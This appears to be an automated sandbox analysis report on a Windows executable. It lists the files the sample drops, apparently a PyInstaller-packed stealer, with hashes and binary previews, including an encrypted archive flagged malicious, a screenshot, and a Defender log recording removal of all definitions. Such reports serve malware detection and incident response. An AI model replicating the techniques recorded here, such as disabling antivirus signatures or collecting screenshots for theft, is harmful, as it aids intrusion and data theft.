Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....yg...........!.................&... ...@....... ....................................@..................................%..K....@.......................`....................................................... ............... ..H............text...$.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................&......H.......<!...............................................................0..........s.....(...........8...........o.......(......(....s........(..........(......(....s....~......(....o........,...o........o....t....o........,...o.......&.....X.......i?k.......(....B.(j........9.Q...........{.........(....BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID...........#Blob...........G.........%3............................................

C:\Users\user\AppData\Local\Temp\3lfchnc2\3lfchnc2.out

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (711), with CRLF, CR line terminators
Category:	modified
Size (bytes):	1151
Entropy (8bit):	5.49067354150436
Encrypted:	false
SSDEEP:	24:KLWId3ka6KOkqeFkq1SGE21SpKax5DqBVKVrdFAMBJTH:2Wkka6NkqeFkqLE22K2DcVKdBJj
MD5:	98A765EE721411A8D992CE5F7B85FB2D
SHA1:	72220851714C1AFDF0840898C32B3E67A100A661
SHA-256:	5BB2A594657B9B72ECFD1B9D8EC2480C3C26E63DE1FE3FCF498D50D55343212F
SHA-512:	EF3406254E63F87572FB71959337F58383AA302C61DCC2C3CBB3D20C418935B7D2D7295D63E4C751ACC0AFEED58061D85ACBD0ADFB725D01FC5DF4E20F2C9E8C
Malicious:	false
Preview:	.C:\Users\user\AppData\Local\Temp\..........> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll" /out:"C:\Users\user\AppData\Local\Temp\3lfchnc2\3lfchnc2.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\3lfchnc2\3lfchnc2.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no lon

C:\Users\user\AppData\Local\Temp\3lfchnc2\CSC30375EB9C2504D3B856F38EEC7AAE920.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.100020444340795
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryhjak7YnqqQsPN5Dlq5J:+RI+ycuZhNXakSJPNnqX
MD5:	7E5B80053A0E290710F8DB920AB0071D
SHA1:	D30399DA5EFD8FB724E431573D285DE109B4CF0B
SHA-256:	5FC6195F2D0C56BC7F99223A1B2FEBEB0C5A84563EC716CC5506EF063B62FEFF
SHA-512:	471D33C65B6F34BAF1CDA0579833F7194383AF4FBE34120F51D509D3F9E0336E89EADBE24949874F1B8B9DE931BD74B00097FABCEBD426919A5E50428B732E30
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...3.l.f.c.h.n.c.2...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...3.l.f.c.h.n.c.2...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\??? ? ?\Display (1).png

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	707837
Entropy (8bit):	7.92829731962899
Encrypted:	false
SSDEEP:	12288:vx21cTsa/8X1wsAKc+GLZ9nTEmOAAtyjhji5/Hu8MHDJFj750po1Z2CvZE54:J21cQa/8XisSvTEmO/t4ZfHDJF6Kjniq
MD5:	AD9B44EF91FD3A3A9E9000B3E0C074EE
SHA1:	1959D98E7EFBCBB453AD8778F63FAC5382086C59
SHA-256:	64C69EC5C1C59023B0F1CE0D231F722CBE6D99751F54AD2D3A7475C836347265
SHA-512:	AB3B5694A1E15E92B102D15EB6C037F84EE07058B91BA4538C2750DBF12BFEE535BAD5EAB5AB01640062655F946463096E7F2929BA00F4C9A786EE06EC950C22
Malicious:	false
Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d....IDATx^....]...]U.t..........t8..nw.9.......(.DF..F..8...d.@.(..q76.`2.E@.$r. DF`......g};U.R..1~c...o..V..~.k.jg..z..Mx..qn~lE.....F[..F......6.3:.vz.{..^mD.uH_F=.W/..=-}..R?eu...J..b.@.vK...Q;q..;..~..k..^Z.....}..[R?&...9.~.m.;..~..oc..v....w........R?...w...A............1..>Y...B....B..O...{"....q.a....+...X.\|..aQ?`E.......Q..C-......_..#..}_.y#....+........m..hI..\|...?..../.......H.9.+.....U_ca......3.......!.yK}.]....0.s....w......}.].Zb.......d..y.1{...3.>....0...x..kM_..U0.w.G.}6.U.X.P.....}{.Q.&~..0~V.c.e.....b\|..;7n..)6~...=c..1..3.uw_..f,......S...=...\|.q{..&....G,..'/.k;/Ls...>.].......hs....K...%..w.s;/J.wZX.&.#L.=...6.v..q..q...........x?;...iA..xk.c..[.Vlk;....(1.K.n..%....Y...?n..R..b.;....{.pk.10...1.}....7..D..[..g.../H.y....}...zK......?=.o.X}.M......}M...ki'L.k..sS...j<.m....?%^7..)O.g...8=~.1f.......1...!...q-.t=.1...x.1F

C:\Users\user\AppData\Local\Temp\BPWmX.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe
File Type:	RAR archive data, v5
Category:	dropped
Size (bytes):	757278
Entropy (8bit):	7.999752880302527
Encrypted:	true
SSDEEP:	12288:G+OaQtyoha5eeI8m37auSodL3f+7bpi+Toi2/NvHc/Gs96XXlGj/xY:GZpg5eGmL5DmxToi2/NvHaTkXXl4/C
MD5:	D5213D2D94937546AB9C9FC3B4553979
SHA1:	8F6DA4D884D614DC7583E0C673620D58C1777055
SHA-256:	18B1B4297D161A50E457CF82E3E3AB5E236B510AA8B97BCA5EEA8605F72FD592
SHA-512:	731503791F8E60CDF9124F8A7C19621C2CFA1A301CCF9FE8139629050796D175478A2D448A8F549580F248416ACF7A904D912E6B7E57AB821995CFA64A8EBA18
Malicious:	true
Preview:	Rar!.... ..`!.....K.}~D...9.......se..r....>.Ch.~s:..xGlD.r..;....";[...{b.;\|.#b%p/.aQ....hd........w..g....H...B....t...)A:Rp.sj..#.g...y....4...%.t\@k8.ZX~.j......_........E"w..\.a`,U..@teq....7.`......+."d[.FX Dv.E.).O...v...%..+..........~n........-.`..+t{gaXW..ZW.$A5J..s...."..l..P.~7..@..6u ...z.q_.N.....t.....D....0..9.N...t5=n.W.>..{..[J....:..HiD.I9\|....vg}......"/..D.\|.3..d..4.U.k...V._.i=d.."....P.....i..r...+.G'#(.$9T.E....92b.;#..,.Y).._..d.....]:....)-k.V.............\|>.....\z......'P.@G..\...o.gE.s.N_..{..;.Rs...{ ..=.D...A.C?. ='!..L.z:.."!<.)...\|....R.....=.gnQ.J\..F......-G..=..?.:N`3K.F.....#U.LC....r.`.0n..\|.f../..(\|....3...S..XF.c...s..g.x.,./ ..y.z.....uF.km.^.l....O`]....>.E.. 6...-.s.!.../tJ.........Bl.....<.M....;.~......'.j.OSak!&.....N.`.y1..t.....k......0a..........8...t...t...bT.0(\zOP)*...~...L7.!...^+..1.aCs.ND.>E/...\|3."..#...>..A.......s."....n..7..T9.MfA.4...O+.....].1D......ig..q..W.(.Z(./4..]W.6...7Pq

C:\Users\user\AppData\Local\Temp\MpCmdRun.log

Download File

Process:	C:\Program Files\Windows Defender\MpCmdRun.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	modified
Size (bytes):	894
Entropy (8bit):	3.1182182825683284
Encrypted:	false
SSDEEP:	12:Q58KRBubdpkoPAGdjrZ6jCk9+MlWlLehW51IC46jP:QOaqdmOFdjrgB+kWResLIYL
MD5:	EA2A6252CE2DB0662B68EB774BA0F8EC
SHA1:	741E992DC9128E8174D18C3FDF5AF4ED91E22D23
SHA-256:	3B8F1F4E1D685E8825B2D5C264BBDE1E36EC21611F497DE523F686ACEA6B4242
SHA-512:	413CF79F74F79D81A4A31AEEE9B5C760BF809D8332CB60603B9BBD7EE2FB272001D5F5EA30678D38DF2D564CB26B60AC32D46E1DCA492FBAA78C1672921CA890
Malicious:	false
Preview:	..........-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....M.p.C.m.d.R.u.n.:. .C.o.m.m.a.n.d. .L.i.n.e.:. .".C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.M.p.C.m.d.R.u.n...e.x.e.". . .-.R.e.m.o.v.e.D.e.f.i.n.i.t.i.o.n.s. .-.A.l.l..... .S.t.a.r.t. .T.i.m.e.:. .. S.a.t. .. J.a.n. .. 0.4. .. 2.0.2.5. .0.3.:.4.2.:.1.9.........M.p.E.n.s.u.r.e.P.r.o.c.e.s.s.M.i.t.i.g.a.t.i.o.n.P.o.l.i.c.y.:. .h.r. .=. .0.x.1.....S.t.a.r.t.:. .M.p.R.e.m.o.v.e.D.e.f.i.n.i.t.i.o.n.s.(.1.).....M.p.C.m.d.R.u.n.:. .E.n.d. .T.i.m.e.:. .. S.a.t. .. J.a.n. .. 0.4. .. 2.0.2.5. .0.3.:.4.2.:.1.9.....-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....

C:\Users\user\AppData\Local\Temp\RESF89E.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x4ba, 9 symbols, created Sat Jan 4 09:43:01 2025, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1376
Entropy (8bit):	4.121452491863558
Encrypted:	false
SSDEEP:	24:H4gO9g1NP5tKHNwKa6NeI+ycuZhNXakSJPNnqSQEgd:YKPh4OKa6w1ulXa3rqSZ0
MD5:	70D3D306391DA5F2C405AD3CE2657C03
SHA1:	A1D38EC5C06BD314EE31E04085784FA865C094BB
SHA-256:	45959B632977A5529EA1B4A655A313720A6C717C5A0CB6267707B71B086DF172
SHA-512:	13C2F972CEB7A79F3F4E09A011336B0C277C19D56C8B81219AE714619D7347223BDA95AB07B7B7C7E8310647DC61B73D355562CFBA1BEBA46C254819B1522121
Malicious:	false
Preview:	L.....yg.............debug$S........\|...................@..B.rsrc$01........X.......`...........@..@.rsrc$02........P...j...............@..@........U....c:\Users\user\AppData\Local\Temp\3lfchnc2\CSC30375EB9C2504D3B856F38EEC7AAE920.TMP..................~[..:.)..................5.......C:\Users\user\AppData\Local\Temp\RESF89E.tmp.-.<....................a..Microsoft (R) CVTRES...=..cwd.C:\Users\user\AppData\Local\Temp\...........exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe..............................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...3.l.f.c.h.n.c.2...d.l.l.....(.....L.e.

C:\Users\user\AppData\Local\Temp\_MEI61762\VCRUNTIME140.dll

Download File

Process:	C:\Users\user\Desktop\9g9LZNE4bH.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	109392
Entropy (8bit):	6.643764685776923
Encrypted:	false
SSDEEP:	1536:DcghbEGyzXJZDWnEzWG9q4lVOiVgXjO5/Auecbq8qZU34zW/K0zD:DV3iC0h9q4v6XjKAuecbq8qGISb/
MD5:	870FEA4E961E2FBD00110D3783E529BE
SHA1:	A948E65C6F73D7DA4FFDE4E8533C098A00CC7311
SHA-256:	76FDB83FDE238226B5BEBAF3392EE562E2CB7CA8D3EF75983BF5F9D6C7119644
SHA-512:	0B636A3CDEFA343EB4CB228B391BB657B5B4C20DF62889CD1BE44C7BEE94FFAD6EC82DC4DB79949EDEF576BFF57867E0D084E0A597BF7BF5C8E4ED1268477E88
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: Holoscope-V1.3.5.exe, Detection: malicious, Browse Filename: dsoft.exe, Detection: malicious, Browse Filename: winws1.exe, Detection: malicious, Browse Filename: discord.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: cmd.exe, Detection: malicious, Browse Filename: NEVER OPEN!.exe, Detection: malicious, Browse Filename: HeilHitler.exe, Detection: malicious, Browse Filename: meN9qeS2DE.exe, Detection: malicious, Browse Filename: client1.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........u...u...u.E.t...u.....u...t...u..v...u..q...u..p...u..u...u......u..w...u.Rich..u.........PE..d.....y..........." ...".....`.......................................................5....`A........................................`C..4....K...............p.......\..PO...........-..p............................,..@............................................text............................... ..`.rdata...A.......B..................@..@.data...0....`.......D..............@....pdata.......p.......H..............@..@_RDATA..\............T..............@..@.rsrc................V..............@..@.reloc...............Z..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI61762\_bz2.pyd

Download File

Process:	C:\Users\user\Desktop\9g9LZNE4bH.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	49432
Entropy (8bit):	7.811659052043441
Encrypted:	false
SSDEEP:	768:0iulhAbgFQ1/NGSS1xNDrxiRx8/CWpsVDIA32w1Nep83IJCV1RU5YiSyvrjPxWER:0iiGgF1TxbYecf1R3IJCV1U7SyTjPxL
MD5:	83B5D1943AC896A785DA5343614B16BC
SHA1:	9D94B7F374030FED7F6E876434907561A496F5D9
SHA-256:	BF79DDBFA1CC4DF7987224EE604C71D9E8E7775B9109BF4FF666AF189D89398A
SHA-512:	5E7DCC80AC85BD6DFC4075863731EA8DA82EDBB3F8FFAFBA7B235660A1BD0C60F7DFDE2F7E835379388DE277F9C1CEAE7F209495F868CB2BD7DB0DE16495633C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........u............l`.....h......h......h......h......h.....bh......l............bh.....bh.....bh.....bh.....Rich....................PE..d......c.........." ..."............pd....................................................`.............................................H.................... .. ..................................................pp..@...........................................UPX0....................................UPX1................................@....rsrc...............................@..............................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI61762\_ctypes.pyd

Download File

Process:	C:\Users\user\Desktop\9g9LZNE4bH.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	59664
Entropy (8bit):	7.830617969064045
Encrypted:	false
SSDEEP:	1536:nUOlRJUIp/i+OnIlnpJ8+j46IJLPF47SyHPxr:UOpnomlnpJPk6IJLPF4Vxr
MD5:	7ECC651B0BCF9B93747A710D67F6C457
SHA1:	EBB6DCD3998AF9FFF869184017F2106D7A9C18F3
SHA-256:	B43963B0883BA2E99F2B7DD2110D33063071656C35E6575FCA203595C1C32B1A
SHA-512:	1FF4837E100BC76F08F4F2E9A7314BCAF23EBFA4F9A82DC97615CDE1F3D29416004C6346E51AFC6E61360573DF5FCD2A3B692FD544CCAD5C616FB63AC49303C5
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........z..N...N...N...Gc..H....g..L....g..B....g..F....g..J....g..L....c..O....c..H....`..M...N........g..H....g..O....gv.O....g..O...RichN...........................PE..d....~.c.........." ...".........`.......p...................................0............`.........................................H,.......)....... .......................,..........................................@...........................................UPX0.....`..............................UPX1.........p......................@....rsrc........ ......................@..............................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI61762\_decimal.pyd

Download File

Process:	C:\Users\user\Desktop\9g9LZNE4bH.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	109328
Entropy (8bit):	7.930840371852251
Encrypted:	false
SSDEEP:	3072:pUOy4s97sRfmdE9MwgHYofX/oImJNdhK2cLxIJOqzCecxZ:pUObkNdEewJofPRmjdhKtqC/
MD5:	0CFE09615338C6450AC48DD386F545FD
SHA1:	61F5BD7D90EC51E4033956E9AE1CFDE9DC2544FE
SHA-256:	A0FA3AD93F98F523D189A8DE951E42F70CC1446793098151FC50BA6B5565F2E3
SHA-512:	42B293E58638074CE950775F5EF10EC1A0BB5980D0DF74AD89907A17F7016D68E56C6DED1338E9D04D19651F48448DEEE33A0657D3C03ADBA89406D6E5F10C18
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........}RT...T...T...]...Z.......V.......Y.......\.......P.......W.......V...T..........U.......[.......U.......U.......U...RichT...................PE..d....~.c.........." ...".p..........P........................................0............`..........................................,..P....)....... ...........&...........-......................................P...@...........................................UPX0....................................UPX1.....p.......j..................@....rsrc........ .......n..............@..............................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI61762\_hashlib.pyd

Download File

Process:	C:\Users\user\Desktop\9g9LZNE4bH.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	36112
Entropy (8bit):	7.6901751795487705
Encrypted:	false
SSDEEP:	768:Y1cXZ8iY8JshuGfJ5fA0EphrzIJOI40W5YiSyvVPxWExHd0:4SYZhu25I0OrzIJOI40s7SydPxPK
MD5:	7EDB6C172C0E44913E166ABB50E6FBA6
SHA1:	3F8C7D0FF8981D49843372572F93A6923F61E8ED
SHA-256:	258AD0D7E8B2333B4B260530E14EBE6ABD12CAE0316C4549E276301E5865B531
SHA-512:	2A59CC13A151D8800A29B4F9657165027E5BF62BE1D13C2E12529EF6B7674657435BFD3CC16500B2AA7CE95B405791DD007C01ADF4CDD229746BD2218BFDC03F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........A.g...g...g....2..g.......g.......g.......g.......g..g....g.......g.......g...g..!g..g....g..g....g..g.^..g..g....g..Rich.g..........................PE..d......c.........." ...".P..........P .......................................@............`..........................................;..P....9.......0..........,............;......................................P,..@...........................................UPX0....................................UPX1.....P.......N..................@....rsrc........0.......R..............@......................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI61762\_lzma.pyd

Download File

Process:	C:\Users\user\Desktop\9g9LZNE4bH.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	87824
Entropy (8bit):	7.9184368617158984
Encrypted:	false
SSDEEP:	1536:TxZh3A5zFTPuztVVQW1AyOXEyvYsnHUZK+K+k6V/busIJZ1Ow7SycfxPxPD:NvA5utzWfXE0V0ZK+K+ZdIJZ1Owqf1xL
MD5:	71F0B9F90AA4BB5E605DF0EA58673578
SHA1:	C7C01A11B47DC6A447C7475EF6BA7DEC7C7BA24E
SHA-256:	D0E10445281CF3195C2A1AA4E0E937D69CAE07C492B74C9C796498DB33E9F535
SHA-512:	FC63B8B48D6786CAECAF1AA3936E5F2D8FCF44A5A735F56C4200BC639D0CB9C367151A7626AA5384F6FC126A2BD0F068F43FD79277D7EC9ADFC4DCB4B8398AE2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g.C#.D.#.D.#.D....'.D.l.E.!.D.l.A./.D.l.@.+.D.l.G. .D...E. .D.h.E.!.D.#.E.E.D...I...D...D.".D....".D...F.".D.Rich#.D.................PE..d......c.........." ...". ................................................................`.........................................4...L....................P..........................................................@...........................................UPX0....................................UPX1..... ..........................@....rsrc...............................@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI61762\_queue.pyd

Download File

Process:	C:\Users\user\Desktop\9g9LZNE4bH.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	26384
Entropy (8bit):	7.483158880239005
Encrypted:	false
SSDEEP:	768:yihFw4wEcpDjIJQU4p5YiSyvpKHPxWEx7M:ZwEcjIJQU437SyhKHPxDM
MD5:	F1E7C157B687C7E041DEADD112D61316
SHA1:	2A7445173518A342D2E39B19825CF3E3C839A5FE
SHA-256:	D92EADB90AED96ACB5FAC03BC79553F4549035EA2E9D03713D420C236CD37339
SHA-512:	982FD974E5892AF9F360DC4C7CCAA59928E395CCEF8EA675FADB4CF5F16B29350BF44C91EA1FD58D90CBCA02522EBA9543162E19C38817EDBFD118BC254515DA
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........._XF.1.F.1.F.1.O...D.1...0.D.1...4.J.1...5.N.1...2.E.1...0.E.1...0.D.1.F.0...1...<.G.1...1.G.1.....G.1...3.G.1.RichF.1.........PE..d....~.c.........." ...".0................................................................`.............................................L.......P............`..............<...........................................@...........................................UPX0....................................UPX1.....0.......(..................@....rsrc................,..............@..............................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI61762\_socket.pyd

Download File

Process:	C:\Users\user\Desktop\9g9LZNE4bH.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	44304
Entropy (8bit):	7.708369428558094
Encrypted:	false
SSDEEP:	768:oQ8MABQICFr2Tg+z2uPxYEV/WJqOxUbOD9p0bmIJLw1Fu5YiSyvYPxWExAGUd:oTiFtipt/MLk2sbmIJLw1FE7SygPxYd
MD5:	57DC6A74A8F2FAACA1BA5D330D7C8B4B
SHA1:	905D90741342AC566B02808AD0F69E552BB08930
SHA-256:	5B73B9EA327F7FB4CEFDDD65D6050CDEC2832E2E634FCBF4E98E0F28D75AD7CA
SHA-512:	5E2B882FC51F48C469041028B01F6E2BFAF5A49005ADE7E82ACB375709E74AD49E13D04FD7ACB6C0DBE05F06E9966A94753874132BAF87858E1A71DCFFC1DC07
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........YY..87..87..87..@...87..D6..87..D2..87..D3..87..D4..87..D6..87..86.z87..@6..87..D:..87..D7..87..D...87..D5..87.Rich.87.........................PE..d......c.........." ...".p..........`m....................................................`.............................................P.......h............ ..x...........X.......................................py..@...........................................UPX0....................................UPX1.....p.......l..................@....rsrc................p..............@..............................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI61762\_sqlite3.pyd

Download File

Process:	C:\Users\user\Desktop\9g9LZNE4bH.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	57616
Entropy (8bit):	7.833064803996473
Encrypted:	false
SSDEEP:	1536:s11OB9LTyHEhkBFl837aWkr5LL08XEFIJOQFl7SysPxd:sS/LTyHRTU1k1L48XqIJOQFlyxd
MD5:	72A0715CB59C5A84A9D232C95F45BF57
SHA1:	3ED02AA8C18F793E7D16CC476348C10CE259FEB7
SHA-256:	D125E113E69A49E46C5534040080BDB35B403EB4FF4E74ABF963BCE84A6C26AD
SHA-512:	73C0E768EE0C2E6AC660338D2268540254EFE44901E17271595F20F335ADA3A9A8AF70845E8A253D83A848D800145F7ECB23C92BE90E7DD6E5400F72122D09DE
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........................n............................................9.......................9.....9.......9.......9.......Rich............PE..d......c.........." ...".........`..0....p...................................0............`..........................................+..P....)....... .......................+..$...................................0...@...........................................UPX0.....`..............................UPX1.........p......................@....rsrc........ ......................@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI61762\_ssl.pyd

Download File

Process:	C:\Users\user\Desktop\9g9LZNE4bH.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	63768
Entropy (8bit):	7.851921093820031
Encrypted:	false
SSDEEP:	1536:zBEP8gL60s9SRCCtqClb8pIJC7+757SyhQPxZ4:NE0OsiaClbmIJC7+9IxZ
MD5:	8F94142C7B4015E780011C1B883A2B2F
SHA1:	C9C3C1277CCA1E8FE8DB366CA0ECB4A264048F05
SHA-256:	8B6C028A327E887F1B2CCD35661C4C7C499160E0680CA193B5C818327A72838C
SHA-512:	7E29163A83601ED1078C03004B3D40542E261FDA3B15F22C2FEEC2531B05254189AE1809C71F9DF78A460BF2282635E2287617F2992B6B101854DDD74FCAD143
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......p...4.i,4.i,4.i,=..,2.i,{.h-6.i,{.l-9.i,{.m-<.i,{.j-7.i,..h-6.i,..h-0.i,4.h,..i,..h-3.i,..d-6.i,..i-5.i,...,5.i,..k-5.i,Rich4.i,................PE..d......c.........." ..."............P.....................................................`.........................................p...d....................P......................................................`...@...........................................UPX0....................................UPX1................................@....rsrc...............................@..............................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI61762\base_library.zip

Download File

Process:	C:\Users\user\Desktop\9g9LZNE4bH.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1437271
Entropy (8bit):	5.591062477999891
Encrypted:	false
SSDEEP:	24576:mQR5pATt7xm4lUKdcubgAnyfb030iwhJdYf9PIsoHHN:mQR5pQxmgPc
MD5:	1C9A020E8BFC99A77F51C7D5CEB937F1
SHA1:	9B2C6F0C4D16AC0B69E5232648B6E6C5DF39CD9C
SHA-256:	2CE10A77F29612F9AFD3FB21BAAF38162FDC484174AEC051A32EEAEF28CE8B37
SHA-512:	98312712C4BE133D979B9699E661C451CD8C27AE4C5ABC295C359FD857D20B3FDE55E6555BDD2230D580903BB230798FBA2C72381B263327F5D0820D28DDFBEA
Malicious:	false
Preview:	PK..........!.h%..b...b......._collections_abc.pyc............................................d.Z.d.d.l.m.Z.m.Z...d.d.l.Z...e.e.e.........................Z...e.d...............Z.d...Z...e.e...............Z.[.g.d...Z.d.Z...e...e.d.............................Z...e...e...e...........................................Z...e...e.i.................................................................Z...e...e.i.................................................................Z...e...e.i.................................................................Z...e...e.g.............................Z...e...e...e.g...........................................Z...e...e...e.d...........................................Z...e...e...e.d.d.z.............................................Z...e...e...e...........................................Z...e...e.d.............................Z ..e...e.d.............................Z!..e...e...e"..........................................Z#..e.i.......................................

C:\Users\user\AppData\Local\Temp\_MEI61762\blank.aes

Download File

Process:	C:\Users\user\Desktop\9g9LZNE4bH.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	120956
Entropy (8bit):	7.694151487163349
Encrypted:	false
SSDEEP:	3072:13U3tlWj4YTIVlHMn/QKhuRdynBIT2SkpHpf77/ZU6e:12tlWj4pu/MwOzkHpf77/ZU6e
MD5:	0EB5FDAD2EB0292377B424E534192206
SHA1:	B9EC0457F7DB182B2FFC13FADCECC601BF3E32F0
SHA-256:	EB6462368D133919B507E6E613CCCE73A92142E8351566A24F1ADB8F771B2877
